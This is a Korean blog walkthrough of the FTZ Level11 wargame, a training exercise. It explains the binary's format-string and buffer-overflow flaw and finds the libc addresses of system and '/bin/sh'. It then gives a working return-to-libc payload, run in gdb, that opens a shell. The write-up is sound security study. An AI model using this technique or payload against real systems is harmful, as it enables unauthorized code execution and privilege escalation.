일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- libpcap
- #IntelManual #segment Descriptor #세그먼트 디스크립터 #MINT64 #Sqix
- #IntelManual
- #Qt Creator
- FTZ 레벨2
- #
- #MINT64 #Sqix
- >
- KASAN
- Sqix
- 오버워치 세이버메트릭스
- ftz
- vi 외부 명령어
- 인터럽트
- #Best of the Best #OS #MINT64 #Sqix
- Find
- linux
- libtins
- vim
- Network
- C++11
- BEST of the BEST
- 오버워치
- command
- vi
- Overwatch League SaberMetrics
- Today
- Total
Sqix
FTZ Level11 본문
심하게 FSB 냄새가 나는 문제입니다. str을 printf에 직접 넣었기 때문에 이로 인해 FSB가 발생할 수 있습니다.
일단 디버깅을 위해 같은 코드를 작성하여 tmp에 넣고 진행하겠습니다.
우선 실행 흐름을 파악하기 위해 어셈블리 코드를 정적분석해 봅시다.
0x08048394 <main+0>: push %ebp
0x08048395 <main+1>: mov %esp,%ebp
0x08048397 <main+3>: sub $0x108,%esp
0x0804839d <main+9>: and $0xfffffff0,%esp
0x080483a0 <main+12>: mov $0x0,%eax
0x080483a5 <main+17>: sub %eax,%esp
0x080483d6 <main+66>: sub $0xc,%esp
0x080483d9 <main+69>: lea 0xfffffef8(%ebp),%eax
0x080483df <main+75>: push %eax
0x080483e0 <main+76>: call 0x80482b4 <printf>
0x080483e5 <main+81>: add $0x10,%esp
printf 함수를 호출합니다.
0x080483e8 <main+84>: leave
0x080483e9 <main+85>: ret
libc를 objdump시키면 __libc_system과 __libc_start_main의 주소가 나옵니다.
이걸 보면, __libc_start_main 함수의 주소는 0x42015490, __libc_system 함수의 주소는 0x4203f2c0입니다.
0x4203f2c0 - 0x42015490 = 0x29E30 (DEC = 171568)입니다. 즉, __libc_start_main에서 __libc_system까지의 거리는 0x29E30입니다.
(사실 라이브러리에 ASLR이 걸려있지 않기 때문에, system 함수의 주소는 그냥 0x4203f2c0이라고 할 수 있습니다..)
이제 얼마나 덮어써야 할 지 파악해봅시다.
이를 위해서 우선 A 264개를 넣어주고, 스택을 보겠습니다.
$ gdb -q attackme
(gdb) run $(python -c 'print "A"*264')
0x41414141로 덮이지 않고 남아있는 0xbfff800, 0x42015574가 각각 Stack Frame Pointer, 그리고 RET ( __libc_start_main 함수 내부 어딘가)입니다.
이제 저 RET 값을 system으로 덮어 주고, system의 argurment를 "/bin/sh"인 상태로 바꿔주면 됩니다.
그 다음으로 /bin/sh의 위치를 구해야 합니다. 여기서는 libc-database의 도움을 받았습니다. str_bin_sh의 주소는 0x42127ea4 입니다.
사실 libc-database를 쓰면 처음부터 다 구할 수 있었지만, 직접 해 보고 싶었기도 하고, 일반적인 문제에서는 gdb에서 find &system,+99999999,"/bin/sh"로 해결할 수 있지만 여기서는 gdb 버전이 낮아서 그럴 수 없었기에 (ASLR이 걸린 상태에서도 구할 수 있는 방법으로 풀고 싶어서) 이렇게 했습니다.
(local)
$ git clone https://github.com/niklasb/libc-database
그 후, scp 명령어를 이용하여 vm에서 libc를 가져옵니다.
$ scp -P 22 level11@172.16.1.128:/lib/tls/libc.so.6 ./
이제 libc-database가 있는 폴더로 가서, ./add + libc경로 를 입력해줍니다.
$ cd libc-database
$ ./add ../libc.so.6
그 후, 두 번째 줄의 local-로 시작하는 값을 dump합니다.
$ ./dump local-1cfbd7137fc7df541093532bb3b34e15b900ffa9
이러면 offset_str_bin_sh가 등장합니다.
이제 /bin/sh 주소까지 알았습니다.
우리는 이미 eip를 system 함수로 덮을 수 있기 때문에, ret 후 ebp 위치가 어디인지 파악해서 system 함수의 argv가 어떤 주소인지 파악해야 합니다.
함수 호출 시 일반적으로 [ EBP - EBP + 4 (복귀 주소 저장) - EBP + 8 (첫 번째 인자) - EBP + 12 (두 번째 인자) ... ] 로 저장되기 때문입니다.
gdb에서 확인해 보면, 스택 상태는 다음과 같음을 알 수 있습니다.
[ buf[256] | dummy[8] | EIP(EBP) [4] ]
이제 EIP 다음이 EBP + 4 위치이기 때문에, 여기를 다시 A로 덮고 EBP + 8 위치를 /bin/sh로 덮어 argument의 역할을 하도록 하면, 만약 제 생각이 맞다면 스택은 [ buf[256] | dummy[8] | EIP(system) [4] | dummy[4] | system_argument(0x42127ea4)] 가 될 것입니다.
검증을 해 보도록 해 보겠습니다.
(gdb) run $(python -c 'print "A"*268 + "\xc0\xf2\x03\x42" + "AAAA" + "\xa4\x7e\x12\x42"')
로컬에서 쉘을 땃습니다. 이제 level12 쉘을 따러 가 봅시다.
성공!
※Zanywhale 님께서 libc-database를 쓰지 않고도 /bin/sh를 가져올 수 있는 방법을 알려주셨습니다.
strings -atx /lib/tls/libc.so.6 | grep "\/bin\/sh"
많은 도움을 주신 ZanyWhale님과 1993-c0nstant님께 다시 한 번 감사드립니다.
'Wargame > FTZ' 카테고리의 다른 글
FTZ Level13 (0) | 2018.06.29 |
---|---|
FTZ Level12 (0) | 2018.06.29 |
FTZ Level10 (0) | 2018.06.18 |
FTZ Level9 (0) | 2018.06.18 |
FTZ Level8 (0) | 2018.06.17 |